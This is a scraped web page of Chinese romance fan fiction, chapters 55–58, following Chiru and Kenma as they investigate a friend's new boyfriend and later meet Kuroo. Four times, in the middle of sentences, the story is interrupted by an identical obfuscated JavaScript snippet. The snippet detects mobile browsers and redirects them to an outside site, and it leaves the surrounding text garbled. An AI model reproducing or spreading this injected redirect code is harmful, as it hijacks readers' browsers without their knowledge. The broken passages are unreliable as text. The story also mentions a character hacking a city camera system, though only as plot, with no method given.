千鹤今天穿着一身鹅黄色的长裙,没有戴黑框眼镜,应该是用了隐形眼镜,和平常知性姐姐的感觉有点不同。 我沉思。 是可爱风格?但什么样的千鹤都很漂亮。 “诶,有你这句话我就放心了。”她哼着歌拿出平板,做好了听课的准备。 这两天是发生了什么新奇的事情吗,还未等我询问她,讲台上的老师就清了清嗓子。 我转过头认真地听讲。 一下课,千鹤火速地整理好包包,又拿出化妆镜补了补妆,冲我wink了一下。 “那我先走咯!” 她哒哒地走出教室,我才注意到她穿了高跟鞋。 千鹤一直说和自己哥哥关系并不好,然而他们每天都会在一起吃饭。 今天江户川原野却被丢在了教室里。 我好奇侧目,原野按动着笔帽,心情不是很好:“千鹤她……” 原野被突然讲话的我吓了一跳,险些从凳子上跌落,我忙问“你没事吧。” “没事。” 我继续前面的话头:“千鹤今天很不寻常。” “有重要的会议要出席?还是谈恋爱了?” 一向“寡言”的原野惊讶地看向我:“你是怎么猜出来千鹤去约会了。” 原来是约会啊。 “看千鹤的妆容就能猜到。” 原野的脑袋上明晃晃挂着问号,显然,他完全不知道自己妹妹今天的打扮和之前有什么区别。 “所以江户川同学是因为妹妹要谈恋爱而怅然若失吗?” 他一下变得一脸菜色,好像我的推测多么可怕:“怎么可能,只是因为那家伙一见钟情的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336833|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对象很不靠谱。” “一见钟情?”我兴致高涨。 “那个…”他问,“江同学会觉得一见钟情很不好吗?” 我摇摇头:“我是一见钟情加日久生情党,通俗地来说,就是有的人第一眼看去就会是我喜欢的类型,但还需要相处来确认。” 看来孤爪研磨在她心里是通过了这项标准的对象,原野心里的火苗彻底熄灭了。 “千鹤她谈恋爱倒没什么。”他一阵牙疼,“但那个恋爱对象,一看就不好对付。” 好脾气的原野同学居然用了「不好对付」这个词吗? “你别看千鹤那家伙说起恋爱话题一幅熟手的样子,但她是第一次谈恋爱。” 我一脸震惊,千鹤还曾给过我多项与男友相处的建议,加上她平时广交好友,时不时上传和不同帅气男生的合照,我还以为她是如鱼得水的高手。 “所以才担心那家伙上当受骗。”原野脑海里浮现出自己妹妹的回答。 「老哥你的建议也不靠谱啊,毕竟你自己不也是零经验。」 他这样说确实让人有点在意。 “但千鹤她自己也是有判断和看人的眼光,江户川同学你不用担心吧…” 他突然啪嗒啪嗒地敲动着键盘,随后把屏幕调转给我看,他指了指店里那位形象颇佳的男大学生:“这是千鹤和我在那家店里,对这个人一见钟情的场景。” “千鹤的眼光还不错啊。”对方看起来是乖乖男。 他不认同地摇摇头,把视频进度朝前拖拽。 同一件事情,却有完全不同的展开。 画面里的那个男生变了个人,从「害羞男大」成了社交圈里的中心点。 并且那一桌人在千鹤踏进店的一瞬间就投以目光,聚在一起有说有笑地讨论了什么。 “看起来确实很不靠谱啊。”我有点担心,“怎么不直接给千鹤看。” “要是她知道我调查,肯定会生气。”他说,“而且千鹤现在听不进我的话。” 怎么说也不能看着千鹤对一个可疑的对象投入感情。 “要不我们查查他到底是什么目的,然后告诉千鹤?” 江户川同学十分赞同。 “说起来,我家里有一些关于调查类的手记,到时候发给江同学。” 我一凛:“你们到底是什么家庭啊。” “好像是「江户川乱步」的后代?” 我诚恳地从包里拿出随身携带的书,是乱步的「人间椅子」。 “我是他的忠实粉丝!” 说来,我和研磨的「调查」,是不是也可以借用当代新型工具的力量,比如我昏迷的时候,那个地方的监控? 虽然小八代表的那类力量被照下的概率很小,但可能也会留下部分线索。 我虚心求教:“江户川同学是怎么得到监控的,跟店家要的吗?” “那如果想要得到东京某处的监控录像,要怎么去申请呢?” 他似乎有难言之隐,在我露出探究的目光后,讪讪地摸了摸自己的鼻尖,用茶色的发顶对着我。 “黑进去的。” “嗯?”我有点没听清。 “…用了黑客技术。” 嘶。 江户川同学也相当深藏不露啊。 ——简直符合影视作品里对我们计算机学生的刻板印象。 55.捉狐狸注意事项 10 * 我,在犹豫了半秒之后,眨了眨眼。 “能黑进某个街道的监控系统吗。” 他搭在键盘上的手指一顿,我正想如何编个借口,但原野同学愣住的原因只是在考虑这件事的可能性。 “这个属于国家系统,干起来没那么容易,要一两天。” 听起来更「刑」了。 但似乎激发了原野同学的斗志:“把地址和时间段跟我说吧。” “真的没事吗?” “放心,我有分寸。” 于是我把地址交给了原野同学。 这段时间,为了和研磨一起探寻真相,我看了不少有关的书籍。 例如什么《菜鸟侦探从入门到入土》《侦探必备的十大思维模式——你掌握了吗?》 自诩已经迈入侦探行业门槛的千流,第一单竟是好友的恋爱对象——斋藤菘。 此时的大侦探正面临着另一大挑战。 我面露难色地看着研磨拿在手里的那套英伦侦探装,还有让我无比熟悉的贝雷帽。 “研磨你,为什么会随身携带这种衣服啊!” 他无辜地看向我:“是千流留在系统道具空间里的吧。” “当鬼的时候,千流不是主动穿上它吗?” …… 研磨也知道是当鬼的时候。 那不是因为仗着自己不会被任何人看到,所以耍坏让研磨也戴上嘛… 在现实中穿这种衣服耻度也太大了吧。 “难道千流其实不敢吗?” 狡猾的研磨甩出了激将法。 “谁不敢啊。”我接过,“研磨你也要穿。” “没问题。” 我们征用了体育生的换衣间。 过去锻炼了研磨的耻度,现在回旋镖竟扎到了自己的身上。我两眼一闭,不就是侦探装! “诶,研磨。”同班的大学排球部的同学看到等候在换衣间前的研磨,有点不敢认,“怎么打扮成这样。” “Cosplay的活动。” 身为霓虹人,同学了然地点点头,拍了拍他的肩膀:“我去练习了。” “嗯。” 话说,千流在换衣间里面也待的太久了吧。 他询问:“千流在里面睡着了?” “啊啊啊没有,只是有点难拉上。”她羞恼,“你不许往我长胖了想。” “之前用系统的时候都是一键换装的。” 完全没有这么想。 这时候问需不需要帮忙是不是不大合适,虽然galgame都会有这种展开,但千流还是很害羞。 研磨有些不自在地拿起手机转移注意。 “呼,吓死了。”千流的声音断断续续从换衣间里传来,“怎么夹着一个眼镜……感觉戴上去会很奇怪。” 从系统道具里特地拿出,夹在里面的研磨:“可能是自动配套的吧。” 最后还是戴上了啊。 千流拉开帘子的一角,探出一颗脑袋,与恰好把视线从手机上挪开的研磨对视。 她把帘子完全拉开,怎么看自己都有点不自在,不知所措的手很忙地挪正贝雷帽,眼睛框压着鼻梁。 千流假装镇定自若地抬头,支了支眼镜:“怎么样,是不是很有侦探的架势。” 圆型的镜框和千流紫灰色的眼睛更加相配,像被装在展示柜里的紫水晶。 显然,虽然是没有度数的镜框,千流还是不适应,总是不自觉地扶着侧边。 他凑上前,把那副眼镜摘下,如同亲手打开展示柜。 “不舒服的话就摘下来吧。” “等等。”千流又拿过眼镜,戴了起来,打开前置摄像头,“其实还蛮帅气的嘛。” 她突然转过头,扑闪的眼睛等着认同的声音。 ——超像跟动物园里的树袋熊突然对视。 这种想法说出来绝对要完蛋,研磨的「敏锐」今天也很在线:“帅的。” 千流得意地举起手机:“研磨研磨,脸凑下来一点。” 两张脸亲昵地贴在一起,帽檐也在打架,千流竖起万年不变的耶,研磨斟酌了半天,最后也只在脸颊边比了个耶。 “OK,在一起之后的第一张照片。” “所以在游戏里千流绝对有偷拍吧。” 假装听不到哼歌这招是明晃晃的耍赖皮。 千流的长发搭在肩侧。 研磨看着她耳垂边的发丝:“我帮千流绑头发吧。” 哈??? 眼前的千流一幅「我听错了吗、研磨你真的行吗」的表情。 “扎头发又不难。”研磨不以为然。 “我说,研磨。”千流晃了晃手指,“你可别以为扎头发是什么光看教程就能懂的事情。” “有时候眼睛学会了,手却更不上。” “你做好面对这一切的觉悟了吗喂。” 此为千流随时展开的中二小剧场。 并且流露部分关于千流的情报,研磨熟练地分析着,之所以这么说,可能是因为千流自己就是手残党。 万年不变的散发,马尾是最高限度的革新,这两点可以作为佐证。 研磨只是看了一遍教程,就合上了手机,手指灵活地在发丝里穿插,不到两分钟,麻花辫造型水灵灵地完成了。 千流张成了O型嘴。 「研磨他,居然连蓬松的后脑勺都兼顾了」 夸赞的话语还没有说出口,千流看见研磨满意地拿出手机,咔擦咔擦地拍了起来。 这种样子,她再熟悉不过了。 自己小时候玩奇迹OO时,对搭配相当满意的时候,就是这样疯狂截图。 ——眼镜也是研磨夹带私货吧。 她拉着研磨的手,回到正事:“我们赶紧出发调查吧。” ……不许再玩奇迹千流了。 * 虽说我和研磨的装扮看起来很花架子,给人一种「差生文具多」的感觉。 但我俩调查起来可谓雷厉风行。 转眼间,就已经把当天那位男生聚餐一行人的名单收集完毕。 “居然是篮球体育生吗!”我震撼,“但是光看照片真的很乖啊,也不像有很多肌肉。” “很乖?” 我看着手机里的消息,空闲的另一只手精准地摸到研磨的脑袋:“最喜欢研磨了。” “……” 哪有人头也不抬地表白。 “我又没吃醋。” 牙白。 我看着别扭又假装若无其事的研磨,幻视了一些傲娇猫猫尾巴已经开始摇晃,还佯装矜持的样子。 ——傲娇是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346407|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好文明! 脑海里却不合时宜地浮现出某些奇奇怪怪的小视频。 好想在这种时候附在研磨耳边,说:“我~又~没~吃~醋~” 会被当成吃了菌子吧。 我十分努力地按下了这个念头。 值得在意的是,这份名单里的几人都算是品行优良的学生,也没有不良嗜好,风评也超好,甚至谈恋爱中的都屈指可数。 和原野同学推测的大相径庭。 “同一件事从不同人的视角展开,会有完全不用的解读。”我思索着,“原野同学怕妹妹被人骗,所以看见对方有所隐瞒,下意识就觉得是坏人,可是说不定另有隐情。” 那隐瞒着我们的小八,和它背后的存在,究竟是出于善意还是恶意? 不过不管是那种,都不能阻挡我和研磨探寻的脚步。 “从这个人入手,怎么样。”研磨指了指照片中坐在斋藤菘身旁的女孩,是东大的学生会主席,美柳纪子。 * “校园篮球交流会?”美柳疑惑,“孤爪同学怎么突然想要举办这个活动。” 毕竟孤爪同学常年拿奖学金,要不是本人低调,早就成为学校风云人物了。 美柳纪子自然也认识他。 但从来没有听说过对方有什么篮球方面的爱好。 “是校园论坛里有人提议的,我的几个朋友也蛮有兴趣,办的好的话或许可以推进大家的交流。” 他拿出论坛记录,以及抓取的数据图中人们的好评度。 当然,校园论坛的提议者是披着马甲的研磨本人,做一份煞有其事的方案对我们来说并不难。 “听起来还不错。” “会长身边有没有是篮球体育生,擅长交际和组织,性格开朗的朋友呢?”我几乎把「斋藤菘」的特征说了个遍。 “还真有。”她说,“不过这家伙这段时间可能有点忙。” 美柳像是想到了什么,优雅的面孔有点维持不住:“他叫斋藤菘,我把联系方式推给你们吧,不过以后这种提案可以给组织部,他们会帮忙的。” 要是去组织部就拿不到斋藤菘的消息了。 美柳会长果然是好人啊,明明一开始就可以让我们去找正确的部门,结果还是认真听了我和研磨的话。 “诶。”我问,“这个人的名字我好像很熟悉…” “有一个认识的朋友喜欢他。” “哈?”美柳会长大概是损友,一瞬间脸都扭曲了,“赶紧让你的朋友别喜欢这家伙了。” “他有想要认真追求的对象了。” 我用遗憾的口吻:“真的很认真在追求吗?” “对啊。”美柳会长揉了揉身上不存在的鸡皮疙瘩,“还专门投其所好,不过好像已经要成功了。” 所以那幅样子果然是「投其所好」的伪装啊,一个人的确没法在几天内性格大变。 * 拿到进一步的线索,我和研磨的调查却卡住了。 要是对方有什么恶意,我倒是可以直截了当地提醒千鹤。但对方貌似是个还不错的人,做的一切是为了让自己喜欢的人多喜欢自己一些。 相当棘手啊。 我沉思,不禁想要询问研磨:“研磨。” “你觉得在爱情里,需要「伪装」自己的性格吗?” 56.捉狐狸注意事项 11 * “那要先明确[伪装]的定义是什么吧。” “研磨,你真的没有去辩论队待过吗?” “为什么这么问?” “因为他们就会率先争夺词的[定义]” 我总会在某些时候感受到研磨和别人交流时严谨的一面。 “那我说的伪装就是藏起自己的另一面。” 他思索:“这很正常吧。” “特别是在刚开始恋爱的时候,觉得自己的性格有不讨喜的部分,就把它们藏起来。” 无论是千鹤,还是斋藤菘,目前都处于这个阶段吧。 我想起千鹤与平常不同的着装。 但作为朋友,我认为什么样的她都很好看。 因为喜欢别人,改变自己,到底是不是一件好事呢? 不知不觉间,走到了遍布芳草的缓坡,坐在坡顶,满目被太阳烧红的白云。 “谈恋爱真的比做题还要复杂。”我感叹。 啪嗒一声,千流呈大字型躺在草地上。 研磨坐在草坪上,侧过身,他的面庞遮住了我望向天空的视线。 出现了,严肃布丁脑袋。 我茫然:“怎么了?” “和我谈恋爱,让千流觉得比做题还复杂了吗?” “那当然啊。”我毫不犹豫。 ...... 千流倒也不用回答得这么果断。 研磨刚想坐起身,千流却拽住了他的手。 像是在慎重地考虑什么,拽着他的手无意识地拨弄着他的手指,让人有些痒。 “研磨不是题目,是活生生的人吧。” “想知道研磨喜欢什么,想做什么,一直在一起。” “所以必须要全力以赴才行啊。” 千流说完,笑盈盈的看向他,拍了拍身旁的草坪。 “这样躺着真的好舒服,研磨要不要试一下,话说,改天我们还能找个好天气去野餐...” 分不清是被太阳染红的,还是羞红的。 ...... 千流捂住脸:“为什么要突然袭击啊。” 虽然草坪上面没有人。 但这也不是某人偷亲的理由。 得逞的猫猫也躺在了草地上。 ——被突袭的是他吧。 谁让千流在别人毫不设防的时候,说这些犯规的话。 千流不轻不重的拳头落在他的小腹上。 “研磨还敢偷笑。” * 我收回自己的拳头。 某人刚刚实在是太找打了。 他总算收住轻笑的表情:“千流呢。” “要是我也[伪装]了,千流会怎么想。” 还能怎么想。 我早就知道研磨不是什么无害的三花猫,或许“猫科动物”本来就有狩猎的本能,被那双眼眸注视的时候,偶尔会有战栗的感觉。 从血液蔓延到身体的每个角落。 并非[害怕],更接近[兴奋]。 “装得太拙劣了,满分十分的话,本侦探只能给你打五分。”我挥了挥手中的贝雷帽,“不管研磨怎么伪装,本侦探都会把你扒个精光。” “好糟糕的发言。”研磨吐槽。 “好开心。”我悄悄牵起他的手。 “为什么?” “不告诉你。” 我看到研磨满头黑线的表情,忍不住笑出声。 换作从前,研磨大概不会这么直白地问我。 他那幅样子,简直像邓茵家里养的傲娇猫猫。 脸上明晃晃地写着[我这么说的话,千流也只会给出那个答案吧]。 是信赖。 我的喜欢成功传达给了研磨,然后他回以我信赖。 仅仅是被信赖着,就能由衷地感到幸福。 我突然坐起身:“我有办法了!” * “我的天。”千鹤用震惊的目光看着我,还是坐在了沙发上,“千流会来清吧喝酒吗?” 我摇摇头,举起自己手里的橙汁:“酒太难喝了。” 她大概是常客,和一旁的服务员点了杯名字长到我完全记不住的酒。 “那你是来听歌的?” “体验体验氛围嘛。” “噗呲。”千鹤接过酒杯,晃了晃,“就算穿成这样千流也还是像小学生。” 拜托,这可是我翻出来的压箱底吊带裙。 而且今天明明是为了千鹤才约到这来的。 她随意地拨弄了一下长发,卷过的栗色长发落在锁骨上,千鹤轻抿了一口蔚蓝色的酒,而后把酒杯放下,双手交叠在腿前,朝我眨了眨眼:“说说吧,千流。” “你遇到了什么感情问题。” 完败! 明明大家都是穿吊带长裙,千鹤怎么随手撩个头发都看得我心脏直跳。 ——难道我真的是小学生吗。 我莫名有点沮丧,连带着说话的声音也变得恹恹的,倒是让[遇到感情问题]这件事更可信了。 “假如有人欺骗你了,千鹤会怎么想。” “哈?!”她重重地扣了下酒杯,“孤爪他怎么骗你了?” 我一凛:“不是那种欺骗。” 千鹤看起来好像平静了些,让我接着说。 “就是,我发现他稍微有一点点腹黑。” “何止一点点。” 千鹤的话又让我一噎。 “你才发现吗千流,好迟钝。” “但他在我面前就是乖乖的。” 千鹤的表情变得有些一言难尽,她问:“比如?” “我怎么逗研磨他都不会生气,有时候为了挑衅他,抢走他草莓蛋糕上的草莓,研磨都毫无反应,甚至叫我下次直接拿走。” “但我最近发现,研磨其实有一点点腹黑。” 千鹤:“何止一点点。” 千鹤变成复读机了。 我只好纠正:“蛮多腹黑的。” “所以?” “千鹤觉得,喜欢的人在你面前,伪装自己的性格,顺着你的喜好来,这样的举动会让你不开心吗?” “我倒还好。”她又轻抿一口,“毕竟我也在男朋友面前装成温柔的那一类。” “没有人能在一开始就完全袒露自己吧,恋爱不就是慢慢了解的过程。” “那要是另一面反差太大呢?” “无法接受那就分手啊。”她果断,“熬不过磨合期的小情侣也不在少数吧。” “千流对孤爪另一面无法接受吗?” “怎么可能。”我说,“研磨就是研磨,哪一面都是研磨。” 千鹤笑眯眯地让我坐到她的身边,随后趁我不备,捏了捏我的脸颊。 我嘟囔:“你要干嘛千鹤。” “你都这么说了,那还算哪门子的恋爱问题,故意喂我吃狗粮?” “我没有...” 在给研磨发消息,告诉他试探结束,可以按计划进行前,我还有想和千鹤说的话。 “什么叫装成温柔啊千鹤。”我严肃,“人是没有办法完全地装成另一幅模样,你之所以能带给别人那种感觉,是因为你本身就很温柔。” “我刚出院的时候,千鹤一直很关注我的身体状况吧,还每天随身携带糖果,老是问我要不要吃......” 她突然抱住我,轻轻拍了拍我的脑袋:“千流怎么这么招人喜欢。” “把你从研磨那抢走,怎么样。” 埋在千鹤的肩膀,险些都喘不过气,我脸红扑扑的。 “这件事不行。” 脑袋冒烟的我立马逃窜到对面的沙发上,低头给研磨发送暗号。 [研磨:.] 是误触了吗? 我没有多想,发动自己野兽派的演技。 “嘶!” “踢到桌子了?” “不,我好像听到了研磨的声音!” 我招呼千鹤一起鬼鬼祟祟地埋伏起来,指了指右前方:“研磨在那里。” “对面的女生是美柳会长吧,那个男生倒是不认识...” “是我男朋友哦。”千鹤一脸了然地看着我,“这才是千流的真正目的吧,你说的感情问题指的是我的感情问题?” “哼歌蒙混过关对孤爪有用,对我无效哦。” 被拆穿了! 我和千鹤坐在最佳观看区,把侃侃而谈的斋藤菘尽收眼底。 “没想到他有这一面啊。”千鹤轻笑,“他跟我说自己不会喝酒,所以手边的那杯是可乐吗?” 我不敢吱声。 感觉现在的千鹤浑身散发着危险的气息。 千鹤站起身,拿起手边的酒杯,走到斋藤菘的身边,拍了拍他的肩:“一起喝一杯吗。” 斋藤菘冷冷:“我有女朋友了。” “男朋友,可以一起喝一杯吗?” “千鹤?”斋藤菘的脸唰一下变得火红,“你怎么在这。” 千鹤把自己的酒杯放下,拿起斋藤的那份:“这是可乐?我不会喝酒的男朋友。” ...... 我都不敢接着看下去。 “对不起...” “没什么好说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363833|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对不起的吧。”千鹤站在一旁,“我也不是乖乖女的样子,我们俩就算互相欺骗了对方。” “所以这算两清了吧。” 她举起酒杯:“干杯?” 斋藤菘垂着头,声音闷闷的:“...可以不要两清吗。” “我不想分手。” “我哪里有这个意思啊。”她凑近斋藤菘,托住他的侧脸,迫使他抬起头,落下一吻,“我的意思是,要不要重新开始认识一下?” 我和美柳会长边吃瓜边发出爆鸣。 ——简直是小孩子不宜观看的情节! “好。” 美柳会长咋舌:“斋藤是什么表情,好恶心,这么羞涩的表情放在他脸上简直让我难以忍受。” 斋藤在面对千鹤的时候,好像确实容易表现得无措,但看起来不是演出来的... 不会是在遇到千鹤时,就会自动转换成这个样子吧。 * 在被研磨牵着手一起回家时,我还在思索这件事。 “研磨,你说我们会不会想错了,那应该也是斋藤性格的一部分...” “谁知道呢。” “研磨难道不好奇?” “不好奇。” “为什么生闷气。”我让他站在原地,稍稍垫脚认真地观察研磨的表情。 “我会读口型。” “嗯?” “我看到了,江户川说[把你抢走]。” 所以那个[.]并不是误触吗。 像小金鱼愤怒地吐了个泡泡。 我戳了戳他的脸颊:“那你怎么没看到我的回答。” “被挡住了。” “我说不行。” 我把他扑到身后的墙上,是一个静谧的拥抱。 “喜欢抱研磨。” “抬头,千流。” 他的指腹触及我的耳垂,轻轻地摩挲着,明明在影视剧里,我才算壁咚的那方,此时却无法忽视耳垂侧传来的阵阵麻意。 他的指腹上有薄薄的茧,还有温热的体温。 耳垂被轻咬,是左耳,落在耳钉的周围,又巧妙地避开了它。 我攥紧了他衣服的侧摆。 他在我耳畔低声轻笑:“紧张?” “...又不是没有亲过。”我不服输地回答。 他低下头:“要咬回来吗?” 黑曜石的耳钉被路灯照得闪烁着碎光,像被揉碎了投进深潭的月亮。 “...要。” 我怕控制不住力道,只是轻轻地点了点。 “好乖。”他虚虚地扣住我的腰,把我带得更近了些,彼此的呼吸声被放大到难以忽视的地步,“可以用力一点。” 我拧了把他的腰。 还没听过这么奇怪的要求。 “可以亲吗?” ...... “亲都亲了,还要问。” 这次是脖颈。 细细密密的吻落在脖颈,我被迫扬起头,高悬在空中的月亮映入视线。 小巷里的一线天,却装得下一轮明月。 我曾觉得研磨是清冷的月辉。 血液战栗地流淌,明明没有在接吻,却有缺氧的感觉。 原来月辉也是有温度的。 “千流。”他轻咬一口,“不专心。” “在想什么?” “在想月亮。” “我之前觉得,研磨像月亮。” 他难得地露出了费解的神情:“因为话少?” “我在千流面前的话不算少。” “因为距离。” “要是这么说,千流才算月亮。”他的手拂过我的刘海,久久地望向我的眼睛,“我把月亮摘下来了吗?” “谁爱当月亮谁去当吧。” 我只在意此时握住的手。 我踮起脚,环住研磨的脖颈,轻吻着。 他突然抬起头,牵着我的手,在我还未反应过来时,轻拢着我的肩膀,把我反抵到后侧的墙壁上。 “好冰。” “那就再靠近些。” 身后的墙壁彰显着被封住的后路,没有可以后退的选择。 研磨的手掌抵着我的后脑勺,阻断了我与墙壁的接触。 时间被拉长,晕乎乎的大脑分不清过了多久,连呼吸都被剥夺,我们似乎以此来确认彼此的存在,用怀抱把对方嵌入自己的身体。 金色的眼眸流淌的是蜂蜜糖浆。 “千流。”他额前的头发有些凌乱,被汗水打湿,“不会再放手。” “嗯。” 我也是。 57.捉狐狸注意事项 12 * “诶?!小黑今天要来?”我踱步,“研磨怎么不提前说,这样子可以规划一下带小黑去哪里玩。” 今天是周末,我起了个大早,和研磨在公寓里看早些天约好一起看的电影。 直到快三个小时的电影放映完,天色已经渐渐昏黄,研磨才随口一提小黑要来这件事。 “那家伙自己都想好去哪玩了,只是顺路来看看我。” “主要目的是见你。” 研磨还记得自己通知小黑谈上恋爱的时候,对方乐呵呵地打了个电话过来。 “怎么说,是哪个纸片女友啊?” 他自然是把这通电话挂断了。 直到后面,孤寡小黑问他在干嘛时,研磨每次都回复[和女朋友在……] 他才又打了个电话,声音满是震惊:“不是,你谈上了啊。” 小黑由于嫉妒,面目全非。 “就是谈上了。” “我还以为你要跟游戏过一辈子…” “那你猜错了。” “照片呢?” “不给你看。” 其实那时候还没有拍上,但这种事情怎么能让小黑知道,自然是装腔作势。 “研磨……” “没想到你谈起恋爱连照片都不给别人看,好恐怖。” 就这样,虽然小黑一直会在发的和千流一起出去玩的风景照下面扣99,但他还是不知道千流的真面目。 其实后面有一张和千流贴脸的合照。 但要是被小黑看见了,那家伙绝对要哈哈大笑,然后把比耶的他单独截出来,做成表情包。 他太清楚小黑了。 “一定要把女朋友带出来啊喂,我可是准备了见面礼。” 搞什么… 小黑是把自己当成[妈妈]了吗。 “天哪,我该给小黑准备什么合适的见面礼呢。” 还有千流。 见小黑又不是见家长。 “其实你买什么都没关系,小黑都会喜欢。” 最后,千流选中了一款中规中矩的日式糕点,她还记得小黑喜欢的口味。 * 吃晚饭的地点选在了寿喜锅的店家。 服务员打开燃气,小黑耍大牌堵在半路,让他们先点餐。 研磨三两下就选完了菜,不管是小黑爱吃的还是千流爱吃的,他都烂熟于心。 身旁的千流在看[如何给人留下良好的第一印象]。 ——其实完全没有必要。 因为是千流,所以不管谁都会喜欢。 鸡冠头脑袋鹤立鸡群,未见其人,先见其发。 千流眼尖,高高挥手:“这里,小黑。” 她立马焉吧下去,小声:“完了研磨,顺嘴就喊出来了。” “第一次见面这么叫是不是很不礼貌。” “小黑才不会在意,你又不是不了解他。” 小黑只会对他出击。 果不其然,放在手旁的手机嗡嗡作响,绝对是那家伙在盲打。 小黑端庄地跟千流握手,打招呼,优雅地坐下。 另一边—— [小黑:你天天在弟妹面前这么称呼我,搞得弟妹都脱口而出了,好意思吗?] [小黑:肯定提早毁坏我的形象了。] 他完全不知道小黑有什么形象。 [研磨:谁是你弟?] 但今天小黑的装束属实有点吓人。 穿着板正的西装,里面是白衬衫,脚底居然踩的是皮鞋。 盲打的不止小黑一人。 千流的消息也随之传来。 [千流:两年不见,小黑变得好成熟稳重,看上去相当可靠啊!] [研磨:他装的,不用多久就会露馅。] 小黑温文尔雅地拿出了见面礼,见面礼的份量不算轻,是书一样的形状。 小黑等千流接下,才开始介绍:“这是一本相册。” “是研磨从小到大的一些照片。”他一顿。 “小黑也叫我千流就好。” “千流可以带回去看。” 千流两眼冒光,紧紧地抱着相册:“这份见面礼我真的很喜欢。” …… 哪有人见面礼送自己哥们的相册。 小黑还有后手,他掏出老牌日式糕点店的盒子:“听研磨说千流很喜欢吃糕点。” 千流把自己身侧的糕点礼盒拿了出来。 很不巧,是同一家。 “是我爱吃的口味。”两个人不约而同地说着。 起初的拘谨随着这句话顿时消散几分。 [小黑:虽然第一次见弟妹,却觉得分外熟悉。] [研磨:……] 除了寿喜锅,他和千流还点了一杯店家推荐的果酒,说是度数并不算高,不会喝酒的人也能浅尝几口。 另外点的一杯是给小黑准备的。 “就算是果酒千流也要少喝点。” “放心,没度数的。” 没度数的酒千流喝了两杯倒。 说实话,完全是因为自己不知道千流的酒量,不然一口也不会给她喝。 千流喝醉了后意识倒是还算清醒,说话也有条理,之所以判断她醉了,完全是因为千流突然放下酒杯,感叹: “唉,小黑,不知不觉你都长这么大了。” 黑尾倒没醉,只是噗呲一笑:“千流你是看着我长大的吗?” “是啊。”千流说,“你小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363834|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候还没有这么爱讲话,也比较内向,话比研磨还少,我可担心了,不过真的是男大十八变。” 黑尾幽幽看向研磨,眼中满是谴责:“你怎么什么都跟千流说了。” 要是跟你讲千流说的都是自己亲眼看到的,你也不会信吧。 千流:“是我自己看到的。” “话说,千流和研磨是怎么认识的?” “游戏里。”千流回答。 * “吼,是没来上大学前就认识了吗?” 小黑的脸在我眼前都有了重影,三个鸡冠头晃啊晃,我点点头。 黑尾挑眉:“研磨,你瞒得够深啊。” “研磨跟小黑讲过吧。”我仍然记得,“说有个网友。” “没那回事。” 怎么可能嘛…… 小黑绝对是得了健忘症。 “千流是中国人?” “嗯。” “那难怪了。” 难怪什么? “所以研磨之前才一个人去中国一段时间,一定是去找你了吧。” 我茫然地抬起头。 研磨来过中国? “他拍的中国行,在YouTuber上可是大火了一把,这家伙不会没把账号告诉过你吧。” 研磨确实一直遮遮掩掩的,从来没有告诉过我。 黑尾递出手机:“加个line吧,我把研磨的号推给你。” 研磨静静地坐在一旁,一声不吭,并没有阻止小黑的举动,甚至连吐槽的话语都没有。 连小黑也觉得他不对劲,在他眼前晃了晃手:“你没喝酒吧,怎么不说话。” “当然没喝,要把你俩送回家……” * 后面的记忆模模糊糊,酒精不是好东西,把人的思维割裂,无法织成网,小黑的话语像飘散在空中的柳絮。 小黑好像是自己打车,他打算第二天去东京的别的地方玩,东大附近已经转悠得比自己学校还要熟。 我好像说了句“你们感情真的很好” 然后…… 是研磨背醉鬼千流回家。 我背他背着,含糊不清地念叨着:“重不重?” “我给研磨捶背吧!” 好像很闹腾,但他还是走得很稳。 “YouTuber账号,我可以看吗?”我靠近他的耳朵。 明明是发在公共平台,我却觉得像是被研磨藏起来的秘密。 他把钥匙递给我。 “很想看吗?” 我大手一挥,两只手张开,撑到最大的距离:“就是这么想。” 他好像笑了一下,但太小声了,一下子就被风吹得听不着。 “那就去看吧。” 58.捉狐狸注意事项 13 * 